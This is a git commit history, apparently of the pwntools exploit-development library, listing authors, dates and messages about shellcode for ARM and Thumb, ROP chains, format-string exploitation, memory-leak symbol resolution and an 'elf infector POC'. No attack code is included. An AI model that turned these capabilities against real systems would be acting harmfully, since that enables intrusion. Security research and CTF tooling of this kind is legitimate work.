Morten Brøns-Pedersen 4199c61993 added "context" to lib.__all__ and moved util 2014-05-28 13:06:26 +02:00
Robert Larsen 5300a350c4 link_map can be found in both .got and .got.plt so if one is missing try
the other.
2014-05-27 15:43:46 +02:00
Morten Brøns-Pedersen 5d2e1c91ab introduced lib.context 2014-05-24 20:44:15 +02:00
Morten Brøns-Pedersen 1af6e6b90a readline bugfix 2014-05-24 20:44:15 +02:00
Morten Brøns-Pedersen 20fd4f7437 deleted dummy file 2014-05-24 20:44:15 +02:00
Kristoffer Søholm 291428e474 Reordered utility modules
All utility modules are now placed in the util module. Further
cleanup is still necessary, as some of the code is old/unused,
and some depends on the new context module.
2014-05-22 21:46:33 +02:00
Morten Espensen 3661d87175 Merge branch 'pwn2' of https://github.com/pwnies/pwntools into pwn2 2014-05-18 16:15:20 +02:00
Morten Espensen 5422325425 Correcting invalid None check and source ports for socket traffic 2014-05-18 16:14:05 +02:00
Morten Brøns-Pedersen 0ed96cc8be term bugfix 2014-05-18 12:37:47 +02:00
Morten Brøns-Pedersen 8e7875743e hide suggestions after hitting <enter> 2014-05-18 12:37:47 +02:00
Morten Brøns-Pedersen 5aff7f0fe7 term handles some more escape sequences 2014-05-18 12:37:47 +02:00
Morten Espensen 163887c820 Adding functionallity to filter out the traffic streams into specified PCAP files 2014-05-18 11:39:09 +02:00
Morten Brøns-Pedersen fdf7dc7c1d bugfix in history search 2014-05-09 13:31:40 +02:00
Morten Brøns-Pedersen fa5961c501 updated auto completer "test" 2014-05-09 13:15:40 +02:00
Morten Brøns-Pedersen dc8c40b131 bugfix in lib/nonlib logic 2014-05-09 13:15:14 +02:00
Morten Brøns-Pedersen 4f1640e917 changed completer api 2014-05-09 12:33:23 +02:00
Morten Brøns-Pedersen 57eca74cc4 fixed tab behavior 2014-05-09 12:20:53 +02:00
Morten Brøns-Pedersen 1ff85a1518 bugfix in PathCompleter 2014-05-09 12:20:33 +02:00
Morten Brøns-Pedersen 29b34b458a mask filter in PathCompleter 2014-05-09 12:01:04 +02:00
Morten Brøns-Pedersen 178b4ab297 better double-tab behavior 2014-05-09 11:51:26 +02:00
Morten Brøns-Pedersen d1a0b3e34d sweeter auto completion 2014-05-09 11:05:21 +02:00
Morten Brøns-Pedersen 66d19d9fd1 better auto completion, and path completer 2014-05-09 01:33:56 +02:00
Morten Brøns-Pedersen 839383ad3c unicode support 2014-05-08 16:39:24 +02:00
Morten Brøns-Pedersen 39672926cc readline auto completions; badly needs unicode support 2014-05-08 13:25:13 +02:00
Morten Brøns-Pedersen 5ac31d5dc8 udpated inputtest.py 2014-05-05 17:43:47 +02:00
Morten Brøns-Pedersen 01bb9d0f79 added readline.startup_hook 2014-05-05 17:43:30 +02:00
Morten Brøns-Pedersen d4a8b23c77 bugfix: can now overwrite a prefix 2014-05-05 17:43:07 +02:00
Morten Brøns-Pedersen aeed8d19a1 readline history search 2014-05-05 13:41:18 +02:00
Morten Brøns-Pedersen abeb06ca0a readline prototype 2014-05-05 11:33:49 +02:00
Morten Brøns-Pedersen 98c98e03bf fixed indentation in lib-mode 2014-05-02 09:23:03 +02:00
Morten Brøns-Pedersen 72cce9d917 bugfix: lazy import 2014-05-02 09:22:41 +02:00
Morten Brøns-Pedersen be85d47c22 bugfix: loglevel 2014-05-02 09:00:49 +02:00
Morten Brøns-Pedersen 32bbc94957 spinners! 2014-05-01 02:15:02 +02:00
Morten Brøns-Pedersen ccc4553a15 bugfix: forgot to remove some inc/dec_indent -calls 2014-05-01 01:54:03 +02:00
Morten Brøns-Pedersen bdf115188e cleaner import, and cmd line arg parsing 2014-05-01 01:47:16 +02:00
Morten Brøns-Pedersen 1ed1f0c8ad removed indentation from log, and added "fancy"-support as well as per-thread log-level 2014-05-01 00:56:23 +02:00
Morten Brøns-Pedersen ab3d128a77 started working on pwnlib v. 2.0 2014-04-30 14:30:37 +02:00
IdolfHatler a578b3fe3c Merge pull request #22 from zachriggle/master
hexii for shellcraft
2014-04-24 21:16:15 +02:00
Zach Riggle 6638b9be8e hexii for shellcraft
$ shellcraft echo 'hello world' -f hexii
00000000  .h 01 01 01 01 81 .4 .$ .s .m .e 01 .h .o 20 .w |
00000010  .o .h .h .e .l .l .j 01 .[ .j 04 .X 99 b2 0b 89 |
00000020  e1 cd 80                                        |
00000023
2014-04-24 15:12:41 -04:00
IdolfHatler 8e2701ec44 Merge pull request #21 from RobertLarsen/master
Removed redundant code.
2014-04-24 09:30:17 +02:00
Robert Larsen 7a1917cee7 Removed redundant code. 2014-04-23 15:54:59 +02:00
Morten Brøns-Pedersen d86fe3a839 made @memoize better at guessing if it has arguments or not 2014-04-17 22:11:50 +02:00
Morten Brøns-Pedersen e88b5d6829 added p24 and p24b 2014-04-17 22:11:50 +02:00
Morten Brøns-Pedersen 68e672179e added __coerce__ to ROP 2014-04-17 22:11:50 +02:00
Mathias Svensson e11e52989d Slightly better string printing in shellcraft 2014-04-05 02:57:57 +02:00
Mathias Svensson 1b031f7182 Added ipof 2014-04-05 02:57:57 +02:00
Mathias Svensson ba5f561ec5 Added cksum 2014-04-05 02:57:57 +02:00
Morten Brøns-Pedersen dfa01248bf added front-end tools to list and modify PLT entries 2014-04-04 16:30:33 +02:00
IdolfHatler 64ccab60ab Merge pull request #20 from RobertLarsen/master
Find out if binary is PIE. If not set base addresses from defaults.
2014-03-29 12:30:51 +01:00
Robert Larsen 12e32210c9 Find load address inside ELF 2014-03-28 13:30:33 +01:00
Robert Larsen 903157b296 Find out if binary is PIE. If not set base addresses from defaults. 2014-03-28 12:46:59 +01:00
Mathias Svensson af277f563f Less trailing whitespace 2014-03-27 20:16:30 +01:00
IdolfHatler 013b378a88 Merge pull request #18 from zachriggle/hexii-dump
Add Hexiidump
2014-03-24 09:02:00 +01:00
Zach Riggle 5142200f27 finish hexii 2014-03-23 23:03:51 -04:00
IdolfHatler 67a1122ed4 Merge pull request #19 from stephenR/master
If no base is given, read it from the LOAD segment
2014-03-19 23:07:48 +01:00
Stephen Röttger 382b7cad8f If no base is given, read it from the LOAD segment 2014-03-19 23:00:53 +01:00
Zach Riggle d522405cc1 add hexiidump 2014-03-12 16:39:41 -04:00
IdolfHatler 8a1e682b51 Merge pull request #17 from RobertLarsen/master
Added method for enumerating library base addresses.
2014-03-12 13:05:48 +01:00
Robert Larsen 2a1918ba5a Added docstring. 2014-03-12 13:01:02 +01:00
Robert Larsen 364c383155 Added method for enumerating library base addresses. 2014-03-12 12:52:21 +01:00
IdolfHatler c9fa483510 Merge pull request #16 from RobertLarsen/master
Respect 'silent'
2014-03-11 17:08:50 +01:00
Robert Larsen 7ed4f264d2 If 'symbol' is None then return library base address instead. 2014-03-11 16:55:37 +01:00
Robert Larsen cda38523a9 Respect 'silent' 2014-03-11 16:19:48 +01:00
Morten Brøns-Pedersen 5b1bcfb623 added gadget() and made __getattr__ return an object that is both callable and can be used as an argument 2014-03-11 12:40:22 +01:00
IdolfHatler 3e0136c042 Merge pull request #14 from zachriggle/hexdump
Better hexdump; doesn't choke on sub-16 byte strings
2014-02-28 12:39:50 +01:00
IdolfHatler 648c68a10e Merge pull request #12 from zachriggle/asm-os
Fix arch usage
2014-02-28 10:42:31 +01:00
IdolfHatler 8b86a18cf5 Merge pull request #15 from RobertLarsen/master
SYSV/GNU resolving for both 32 and 64 bit
2014-02-28 10:39:29 +01:00
IdolfHatler e56c96c33f Merge pull request #13 from zachriggle/alphabet-small
Add warning for too small of alphabet
2014-02-28 10:38:34 +01:00
IdolfHatler fb52f09b58 Merge pull request #11 from zachriggle/master
Zsh completion and minor enhancements
2014-02-28 10:37:35 +01:00
Robert Larsen fb7b550d41 All four targets work! 2014-02-23 22:28:42 +01:00
Robert Larsen 38ca07fb83 More standarization. 2014-02-23 22:17:39 +01:00
Robert Larsen dfc323b443 Use linkmap pointer to dynamic section instead of going through the elf 2014-02-23 22:13:31 +01:00
Robert Larsen 5c65c0cbd0 Made 32 bit and 64 bit code more similar. 2014-02-23 22:12:53 +01:00
Robert Larsen 9af1b7e3fb SYSV hash works with 64 bit 2014-02-22 00:21:50 +01:00
Robert Larsen f9d600c9dc More refactoring. 2014-02-22 00:01:38 +01:00
Robert Larsen 682701a93f Refactored some code 2014-02-21 23:42:46 +01:00
Robert Larsen 709fa04e8d Handle hash collisions by matching symbol name 2014-02-21 09:26:03 +01:00
Robert Larsen 1f0a41a905 We are not using bloom filter so we do not need the shift register. 2014-02-21 09:15:01 +01:00
Robert Larsen 628e4f3d71 Made dynelf gnuhash 64 work with leaky. 2014-02-21 09:10:14 +01:00
Kristoffer Søholm edbd6744b7 Added missing changes for last commit 2014-02-20 21:54:31 +01:00
Kristoffer Søholm 209970cb7f Removed crypto libraries and dependencies, they can be found in pwncrypto which is still unstable 2014-02-20 19:48:53 +01:00
Mathias Svensson 28bf844032 Simplified polynom.py slightly 2014-02-20 10:10:24 +01:00
Mathias Svensson fbf6491e0a Added p48, p48b, u48, u48b 2014-02-20 10:09:48 +01:00
Mathias Svensson ec61e3e787 Forgot my addition in binutils 2014-02-19 14:37:25 +01:00
Mathias Svensson b766a0d724 Forgot debug prints 2014-02-19 14:33:13 +01:00
Mathias Svensson a1fc00046f Added crc stuff in polynom.py 2014-02-19 14:32:30 +01:00
Zach Riggle f1b5df647a stdin scramble 2014-02-11 18:52:25 -05:00
Zach Riggle c55fe115dc Zsh completions 2014-02-11 18:52:25 -05:00
Zach Riggle 52225edc80 Add warning for too small of alphabet 2014-02-11 18:51:35 -05:00
Zach Riggle e3ec1aea51 Better hexdump; doesn't choke on sub-16 byte strings 2014-02-11 18:50:15 -05:00
Zach Riggle 9ff3edc4e1 Fix arch usage 2014-02-11 18:45:14 -05:00
Zach Riggle 603e1e11c2 make peek/boke behave like other scripts 2014-02-03 00:44:31 -05:00
Mathias Svensson 03bf725f2b It did not work anyways. 2014-01-23 14:16:10 +01:00
Robert Larsen dac2f543f9 Added POC script for working with leaky. 2014-01-17 00:40:44 +01:00
Robert Larsen 029e212e5c Link leaking program against a library that we should resolve symbols in. 2014-01-16 23:57:04 +01:00
Robert Larsen e83e761569 Made 32 bit resolver use the locally parsed elf data instead of wasting
bandwidth.
2014-01-16 23:06:01 +01:00
Robert Larsen 08cdf229ee Added test program that leaks memory. 2014-01-16 18:20:01 +01:00
Mathias Svensson 518d30af42 Small bugfixes to elf and dynelf 2014-01-05 13:48:09 +01:00
Morten Brøns-Pedersen 610e3c7543 added eof() to sockets 2013-12-28 11:31:01 +01:00
Morten Brøns-Pedersen 09e484467c elf infector POC 2013-12-17 14:55:29 +01:00
Morten Brøns-Pedersen 8aad14c68a timeout decorator 2013-12-17 14:51:47 +01:00
Morten Brøns-Pedersen 4e8354793a hexdump 2013-12-17 14:51:47 +01:00
Mathias Svensson ddb0d861ca MORE MIPS 2013-11-15 21:32:33 +01:00
Morten Brøns-Pedersen aca8d11ac9 hide unsupported shellcodes by default 2013-10-31 12:08:42 +01:00
Morten Brøns-Pedersen 6e6bc1fefa read/write now expands variables/homedir and write has an option to create directories as needed 2013-10-31 12:08:42 +01:00
Mathias Svensson 7ca8fa2699 A commit from the crypto branch 2013-09-20 14:16:56 +02:00
Mathias Svensson 49f4a05001 Fixed dup shellcode 2013-09-20 14:03:52 +02:00
Morten Brøns-Pedersen bde609ff0c bugfix: type error in memleak.py 2013-09-18 15:17:26 +02:00
Morten Brøns-Pedersen 91b9803194 added support for relative .DYNAMIC ptrs in dynelf.py 2013-09-18 15:12:08 +02:00
Morten Brøns-Pedersen 5e5518231e bugfix: added import pwn to memleak.py 2013-09-18 15:11:01 +02:00
Morten Brøns-Pedersen a92b103681 bugfix: memleak uses funcion raw, but it was deleted at some point -- reimplemented it 2013-09-05 13:50:53 +02:00
Morten Brøns-Pedersen f4f5a68eaa bugfix: @memleaker referred to leak, not memleak 2013-09-05 13:47:16 +02:00
Morten Brøns-Pedersen 51916f68a3 pad all unpacked values with 0's, and take size argument in bits and bits_str 2013-08-30 15:56:43 +02:00
Morten Brøns-Pedersen 497e48d5aa bugfix: ror/rol now works as expected on strings 2013-08-30 15:56:42 +02:00
Martin Bjerregaard Jepsen 22dfdccaae Merge branch 'master' of ssh://github.com/pwnies/pwntools 2013-08-22 18:48:33 +02:00
Martin Bjerregaard Jepsen ffcf5ac0e7 Extra iterations for PBKDF2 2013-08-22 18:47:59 +02:00
Kristoffer Søholm 61c6b5fdb7 Added bruteforce function to iterutils 2013-08-19 15:06:20 +02:00
Martin Bjerregaard Jepsen 361c2b3e31 Added stdin support to the indirect poke utility 2013-08-16 16:29:43 +02:00
Martin Bjerregaard Jepsen 79525722fb Added indirect peek/poke utility 2013-08-16 16:22:32 +02:00
mortenbp 025827ff88 Merge pull request #10 from RobertLarsen/master
Implemented the DynELF resolver for 32 bit binaries.
2013-08-05 21:08:07 -07:00
Mathias Svensson ac18485fc6 More type foo 2013-08-01 02:04:42 +02:00
Brian Mathiasen 6bcc569218 changed the way _resolve fails when symbol not found, this in turn allows us to get
__getattr__ back, which will only place a 'call' if the name exists
2013-07-30 13:45:18 +00:00
Mathias Svensson 6ab8512aca Damn python types 2013-07-30 01:43:03 +02:00
Mathias Svensson 86f5e7f9d4 Made ordlist better 2013-07-29 22:59:32 +02:00
Brian Mathiasen 611e83e6d5 Interactive python interpreters with auto-completion (e.g. ipython or bpython) may call
the __getattr__ function, which would always return a call-function, populating the
_chain list. This function has been removed for now, until a better way of handling
interaction with a rop-instance in an interactive interpreter has been made.
2013-07-29 20:29:22 +00:00
Morten Brøns-Pedersen ca92a1cbbe made xor better: 1) handle zero lenght inputs, 2) type coerce output to type of first argument 2013-07-29 21:23:49 +02:00
Morten Brøns-Pedersen d487c6a3b7 Merge branch 'master' of github.com:pwnies/pwntools 2013-07-29 20:37:28 +02:00
Brian Mathiasen c53fc424cc resyncing dependencies for arch, with reminder to manually install AUR packages 2013-07-27 23:01:23 +00:00
Morten Brøns-Pedersen 618cf942f7 extended ror and rol to work on lists and tupples as well 2013-07-27 22:46:45 +02:00
Jonas Rudloff 77f044c38c added docstings to rop + example 2013-07-27 11:33:19 +02:00
Jonas Rudloff c863bd7f95 added docstrings with examples to asm and disasm 2013-07-27 11:18:55 +02:00
Kasper Haabb c2530ea2fd added findpeerremote shellcode for thumb 2013-07-27 00:31:47 +02:00
Brian S. Vangsgaard 143fd5ee90 Docstring update. 2013-07-26 00:15:37 +02:00
Robert Larsen e9c2747cf6 Implemented the resolver for 32 bit binaries. 2013-07-25 13:11:24 +02:00
Brian S. Vangsgaard 2c6b096ba9 Updated docstrings. 2013-07-24 19:06:10 +02:00
Maya Saietz 2f0fb1b61e Docstrings for ordlist and unordlist 2013-07-24 17:53:18 +02:00
Kasper Haabb 8b40ee0667 Merge branch 'master' of https://github.com/pwnies/pwntools 2013-07-24 17:51:31 +02:00
Ceryn 4b21e9be80 Merge branch 'master' of github.com:pwnies/pwntools 2013-07-24 19:50:43 +02:00
Ceryn dd31f33acd Added doc strings for forkbomb, infloop and nop shellcode. 2013-07-24 19:50:00 +02:00
Ceryn 5c7de15aa5 Added doc string to fakesh shellcode 2013-07-24 19:37:37 +02:00
Kasper Haabb 4d57faac16 Merge branch 'master' of https://github.com/pwnies/pwntools 2013-07-24 17:51:00 +02:00
Ninn da4b6efeeb Merge branch 'master' of https://github.com/pwnies/pwntools 2013-07-24 17:48:03 +02:00
Kasper Haabb 311d86f325 Merge branch 'master' of https://github.com/pwnies/pwntools 2013-07-24 17:47:04 +02:00
Ninn f84b0a4541 Added docstrings for various functions 2013-07-24 17:47:02 +02:00
Kasper Haabb 33efdfb09e Works better if merge conflics in file has been resolved... 2013-07-24 17:47:00 +02:00
Mathias Svensson 5deac4a59e Merge branch 'master' of github.com:pwnies/pwntools 2013-07-24 17:42:01 +02:00
Mathias Svensson da53893934 Docstrings for basechatter.py 2013-07-24 17:41:19 +02:00
Maya Saietz 48642c082c Merge branch 'master' of github.com:pwnies/pwntools 2013-07-24 17:40:39 +02:00
Maya Saietz e3fbcb94cd Added docstring to iterutil.dotproduct 2013-07-24 17:40:23 +02:00
Kasper Haabb e357ac315f Merge remote-tracking branch 'upstream/master' 2013-07-24 17:24:52 +02:00
alvoha 66ecbdfc88 Docstring for splash.py 2013-07-24 17:23:48 +02:00
Kasper Haabb 8832817357 Merge remote-tracking branch 'upstream/master'
Conflicts:
	pwn/shellcode/misc/mov.py
2013-07-24 17:22:56 +02:00
Mathias Svensson b50b808887 Updated bits and bits_str... they might still work 2013-07-24 17:08:31 +02:00
Ninn b31ccacb09 Merge branch 'master' of https://github.com/pwnies/pwntools 2013-07-24 16:50:41 +02:00
Ninn 6d4e22a723 Added paramiko as dependency on Debian 2013-07-24 16:49:49 +02:00
Kristoffer Søholm 82e93a6ad7 Improved continued fractions 2013-07-24 16:27:21 +02:00
Kristoffer Søholm 0cf8169498 Added attach_gdb as a method in basechatter 2013-07-24 15:58:55 +02:00
Kasper Haabb Test 1075396758 Reverted parameter sock to default as ebp, unless context is arm or thumb 2013-07-24 12:48:37 +02:00
Kasper Haabb bc36d2817c connect shellcode for thumb altered to use thumb mov shellcode 2013-07-23 18:41:21 +02:00
Kasper Haabb 22963d39ad sh shellcode for thumb 2013-07-23 18:41:20 +02:00
Kasper Haabb cfa464c966 dup shellcode for thumb 2013-07-23 18:41:20 +02:00
Kasper Haabb e2928087d0 Some changes for thumb mov to avoid null bytes 2013-07-23 18:41:20 +02:00
Mathias Svensson 75f0d23010 Small fix for the shellcode wrapper -- it should not matter much in practice 2013-07-23 18:41:20 +02:00
Mathias Svensson 0faedc17ea mov shellcode for thumb 2013-07-23 18:41:20 +02:00
Mathias Svensson 362c103999 I should remember to eval it too 2013-07-23 18:41:20 +02:00
Mathias Svensson 723eeb06d3 Added clookup to fix_args function, so that arguments to shellcodes can use constants 2013-07-23 18:41:20 +02:00
Mathias Svensson 1cc02d8614 Small fix for the shellcode wrapper -- it should not matter much in practice 2013-07-22 00:27:06 +02:00
Mathias Svensson 8c204f21c1 mov shellcode for thumb 2013-07-22 00:18:40 +02:00
Mathias Svensson 1715a012a8 I should remember to eval it too 2013-07-21 23:38:45 +02:00
Mathias Svensson ccc7ef29fc Added clookup to fix_args function, so that arguments to shellcodes can use constants 2013-07-21 23:27:36 +02:00
Kasper Haabb 21cbc472aa Added connect shellcode for thumb 2013-07-21 19:50:07 +02:00
bsm 1612772940 adding function to attempt to find location of input fmtstring on the buffer, with example
code
2013-07-18 20:03:57 +02:00
bsm 0f776d0413 probably fixing size function format string 2013-07-18 18:18:09 +02:00
Brian Mathiasen e51cfdfe7d Merge pull request #8 from thorlund/master
Tool for format string exploiting
2013-07-18 09:17:04 -07:00
thorlund 281689e3f5 multiple input bugfix 2013-07-17 01:33:06 +02:00
thorlund fe948e1c8b Tool for format string exploiting 2013-07-17 01:25:06 +02:00
Brian Mathiasen 286f9b78eb fixed issue #7 2013-07-16 09:02:49 +02:00
Morten Brøns-Pedersen 76c403f181 removed consts.py as it was hardly used 2013-07-02 11:14:24 +02:00
Morten Brøns-Pedersen 594b1b1cf4 use memleak ndx instead of offset 2013-07-02 11:10:04 +02:00
Morten Brøns-Pedersen 5e121bf254 added support for writing to memleak caches 2013-07-02 11:09:42 +02:00
Ceryn e89e81a7fe Added fork bomb for thumb 2013-06-27 23:18:45 +02:00
bsm 855b1b4b22 fixed size width format string 2013-06-27 20:31:00 +02:00
Mathias Svensson c21516ee84 Fixed thumb.h -- it might work now 2013-06-27 19:28:21 +02:00
Mathias Svensson 3d3b2c4236 Added thumb.h 2013-06-27 19:24:11 +02:00
bsm 6d3e698cfb spinner billboard 2013-06-27 19:41:35 +02:00
Mathias Svensson 3917170c68 Added dup shellcode for arm 2013-06-26 18:14:49 +02:00
Mathias Svensson e6b6080556 Added cat and write_stack shellcode for arm 2013-06-26 17:48:43 +02:00
Mathias Svensson fc67760346 Default argument to ls 2013-06-26 17:48:29 +02:00
Mathias Svensson 61270460c2 Added sh shellcode for arm 2013-06-26 17:30:04 +02:00
Mathias Svensson c05c61bbec I had trailing whitespace again :( 2013-06-26 17:16:04 +02:00
Mathias Svensson 75368a8ae5 Added read_stack and fixed open_file 2013-06-26 17:03:11 +02:00
Mathias Svensson 12663b18ec Added check in mov, such that if src == dest, nothing if output 2013-06-26 13:27:59 +02:00
Mathias Svensson 92cc8997db Added arm support to mov shellcode 2013-06-26 13:25:08 +02:00
Mathias Svensson 648971937a Added open_file shellcode for arm-linux 2013-06-26 12:38:17 +02:00
Mathias Svensson 260cf508ca Added forkbomb for arm 2013-06-25 09:52:50 +02:00
Mathias Svensson 7183edda5d Improved runejuhl's improvement to useragents with even more betterness 2013-06-24 20:53:45 +02:00
Mathias Svensson df12e66eb7 Minor fix for the disassembler 2013-06-24 20:47:54 +02:00
Rune Juhl Jacobsen f141d9bf94 Fixed bugs in useragents.py 2013-06-24 08:32:39 +02:00
Mathias Svensson 1ef01a416c memoize for asm was fucked up 2013-06-24 00:35:15 +02:00
Mathias Svensson 5ce305fc3d disasm now works for more architectures 2013-06-23 10:49:43 +02:00
Mathias Svensson 009ae8739a bugfix: disasm was not working 2013-06-23 09:53:20 +02:00
Mathias Svensson 183eea353d Added clookup tool for looking up constants 2013-06-23 01:09:20 +02:00
Mathias Svensson ac34a8d39e Updated README.md to reflect that asm/disasm now depends on pwnlib 2013-06-22 23:43:40 +02:00
Mathias Svensson 3425f24201 Forget to change .byte to db in case of nasm 2013-06-22 23:35:54 +02:00
Mathias Svensson 3b676087b2 The long needed assembler overhaul 2013-06-22 23:29:36 +02:00
IdolfHatler 6e3ec6f881 Merge pull request #5 from runejuhl/issue/4
Fixed issue 4 (https://github.com/pwnies/pwntools/issues/4)
2013-06-22 06:40:12 -07:00
Rune Juhl Jacobsen 8c93809c9b Fixed issue 4 (https://github.com/pwnies/pwntools/issues/4) 2013-06-22 15:23:23 +02:00
Morten Brøns-Pedersen cecc74febf removed spn -- go to the spn branch and have a peek 2013-06-20 20:25:43 +02:00
Morten Brøns-Pedersen b94bad98a2 made rop.py more dirty and more nice 2013-06-20 20:17:43 +02:00
Morten Brøns-Pedersen a64aef79e0 added dynelf.py; it's highly experimental, but now at least the technique is "documented" somewhere 2013-06-19 15:06:35 +02:00
Morten Brøns-Pedersen d300250805 changed argument "offset" to "ndx" in memleak 2013-06-19 15:05:14 +02:00
Morten Brøns-Pedersen f7e15fe9e1 misspelled "load" 2013-06-19 13:56:43 +02:00
Morten Brøns-Pedersen 656744abee updated __init__.py 2013-06-19 13:48:14 +02:00
Morten Brøns-Pedersen ca125381a0 bufgix: sendlineafter and sendlinethen was borged 2013-06-19 13:46:53 +02:00
Morten Brøns-Pedersen 0b14825621 changed leak.py to memleak.py and added offsets to leaking functions 2013-06-19 13:45:29 +02:00
Morten Brøns-Pedersen dc743c70f1 bugfix: sendlineafter and sendlinethen 2013-06-18 21:48:46 +02:00
Morten Brøns-Pedersen 3f63b1317e added sendlinethen and sendlineafter to basechatter 2013-06-18 21:44:13 +02:00
Mathias Svensson 00442c99cf Fixed a lot of small bugs and made load time more than a factor 10 smaller 2013-06-18 20:05:28 +02:00
Morten Brøns-Pedersen ddc2da14cd made new spinner better 2013-06-17 19:37:10 +02:00
Morten Brøns-Pedersen 023c2d96ef added class MemLeak and decorator memleaker 2013-06-17 19:08:20 +02:00
bsm 02c8a7bdb8 adding bss and mprotect functions to rop 2013-06-17 10:35:56 +02:00
bsm fc05e90000 new spinner... test-ish 2013-06-17 10:35:56 +02:00
Morten Brøns-Pedersen fccb49f166 polished ptrace.asm a bit 2013-06-15 11:24:12 +02:00
Morten Brøns-Pedersen 34304f2a7f added PTRACE_[GS]ETREGS 2013-06-15 11:14:14 +02:00
Morten Brøns-Pedersen 0b5e5bfe76 added common.asm for ptrace.asm to take effect 2013-06-15 11:11:23 +02:00
Morten Brøns-Pedersen 43116fc2a6 bugfix: changed exec->execute back in debugging.py 2013-06-15 11:10:35 +02:00
Morten Brøns-Pedersen 6416ab24c9 bugfix: changed comments to asm comments in ptrace.asm 2013-06-15 11:09:38 +02:00
Morten Brøns-Pedersen 1b1df41987 added some ptrace #define constants 2013-06-15 11:08:04 +02:00
Morten Brøns-Pedersen 48fbdfd066 attach_gdb now returns the traced pid 2013-06-15 11:07:41 +02:00
Morten Brøns-Pedersen ac7dd0e255 changed "execute" to "exec" in debugging,py by popular demand 2013-06-15 10:58:11 +02:00
Morten Brøns-Pedersen d2825ee1b6 bugfix: reset status in log.waitfor 2013-06-15 10:57:22 +02:00
Mathias Svensson 05b3d88cf5 Some slight fix point iteration for the sympy evaluation 2013-06-02 23:49:19 +02:00
Mathias Svensson a284fb010f How did that get in there? 2013-06-02 20:36:16 +02:00
Mathias Svensson 52c98dc418 Updated blocks 2013-06-02 20:27:34 +02:00
Mathias Svensson 9a4e3cf964 I'm an idiot 2013-06-02 00:14:31 +02:00
Mathias Svensson 25caff6dfc Now ssh can also download/upload files on servers without sftp support 2013-06-02 00:12:53 +02:00
Mathias Svensson 32c0be8cf0 Fixed trailing whitespace and fixed ssh bug by introduced by slight refactoring 2013-06-01 22:01:08 +02:00
Mathias Svensson e0d6abf25d docstrings for ssh and some improvement of the rop module 2013-06-01 19:50:54 +02:00
Mathias Svensson 08da432780 s/clean_sock/clean/g 2013-06-01 15:14:15 +02:00
Mathias Svensson 031aff178f Trailing whitespace and some parsing of ldd output 2013-06-01 14:49:52 +02:00
Mathias Svensson 308b11b58b Various basechatter + children improvements, mostly inside ssh.py 2013-06-01 14:42:34 +02:00
Mathias Svensson 40fa56a171 Moved unhex to the hex directory, improved it slightly and updated README.md 2013-06-01 10:42:43 +02:00
Mathias Svensson 9691c76d99 Ooops, small fixups 2013-05-31 19:02:42 +02:00
Mathias Svensson 259c2b64cc An escape-code seems like a good idea 2013-05-31 18:59:41 +02:00
Mathias Svensson 782d8f76c1 Much better interactive for ssh 2013-05-31 18:49:54 +02:00
Mathias Svensson 9e43fc9b12 Terminal is now sane after pwntool exits -- even in case of an exception or bad programming 2013-05-31 18:28:45 +02:00
Mathias Svensson 6f2eaf659f Merged with ui branch 2013-05-31 18:10:19 +02:00
Mathias Svensson b47462736e Added ssh module similar to remote and process 2013-05-31 01:23:58 +02:00
Morten Brøns-Pedersen 21579be6a4 Merge branch 'rop' 2013-05-31 00:00:22 +02:00
Morten Brøns-Pedersen d907f3f574 bugfix: attach_gdb now works with process 2013-05-31 00:00:13 +02:00
Morten Brøns-Pedersen 349e96d217 added coroutine decorator 2013-05-31 00:00:13 +02:00
Morten Brøns-Pedersen 88c4038800 Merge branch 'master' of github.com:pwnies/pwntools into rop 2013-05-30 23:59:38 +02:00
Morten Brøns-Pedersen fd49ae7ebf added support for structured arguments in ROP chains with a known load address 2013-05-30 23:58:47 +02:00
Martin Bjerregaard Jepsen 8d1747f559 Merge pull request #2 from runejuhl/master
Updated readme and install.sh with dependencies
2013-05-30 13:01:15 -07:00
Morten Brøns-Pedersen 6ad9db7d39 bugfix: attach_gdb now works with process 2013-05-30 20:24:11 +02:00
Morten Brøns-Pedersen 20ccf6cf50 added coroutine decorator 2013-05-30 20:22:58 +02:00
Morten Brøns-Pedersen 20e54951d0 fixed a bug where an extra empty line was showed when using single line waitfors 2013-05-27 21:31:17 +02:00
Morten Brøns-Pedersen d93c70bdec Merge branch 'ui' of github.com:pwnies/pwntools into ui
Conflicts:
	pwn/ui.py
2013-05-27 21:10:45 +02:00
Morten Brøns-Pedersen d2cb9baee1 bold question mark in options 2013-05-27 21:09:05 +02:00
Morten Brøns-Pedersen a4d61f95f6 fixed bug in options where not all key presses were handled properly 2013-05-27 21:09:05 +02:00
Morten Brøns-Pedersen 13cf50e7bf added function options 2013-05-27 21:09:05 +02:00
Morten Brøns-Pedersen a90b81adf6 Merge branch 'rop' 2013-05-27 21:08:40 +02:00
Morten Brøns-Pedersen 720ecbcc57 new tool: elfpatch 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen f31ff2986f relying on segments for X/W memory rather than sections, and added "load_library" 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen 47552e18f8 added chained decorator to iterutil 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen 4f3393a834 use pwn.which in debugging 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen e358436864 added procutil.which 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen 4d7c01b0d1 multiple asm instructions can be separated by semi-colons 2013-05-27 21:07:42 +02:00
Morten Brøns-Pedersen 2dd27b1c12 new tool: elfpatch 2013-05-27 21:06:37 +02:00
Morten Brøns-Pedersen e2af3c7b72 relying on segments for X/W memory rather than sections, and added "load_library" 2013-05-27 21:04:43 +02:00
Rune Juhl Jacobsen 90ad2ddcf0 Added section on dependencies to README, updated install.sh with a few dependencies. 2013-05-23 10:44:39 +02:00
Morten Brøns-Pedersen 46209d199a added chained decorator to iterutil 2013-05-11 22:59:03 +02:00
Morten Brøns-Pedersen 5d58035add use pwn.which in debugging 2013-05-11 22:42:09 +02:00
Morten Brøns-Pedersen 65af3274dc added procutil.which 2013-05-11 22:36:08 +02:00
Martin Bjerregaard Jepsen d17c4a7537 Added a quick readme file to the crypto submodule 2013-05-08 23:05:51 +02:00
Martin Bjerregaard Jepsen e4e3300df7 Moved crypto demo files to pwn/tests/crypto 2013-05-08 23:02:33 +02:00
Martin Bjerregaard Jepsen 04fd22170f Fixed crypto errors resulting from renaming 2013-05-08 22:53:28 +02:00
Martin Bjerregaard Jepsen a74e4e9ca2 Fleshed out monoalphabetic crypto functions, and started on generic substitution cracker 2013-05-08 22:36:35 +02:00
Martin Bjerregaard Jepsen 0846e7c3cc Ngrams are not located relative to library 2013-05-08 22:35:00 +02:00
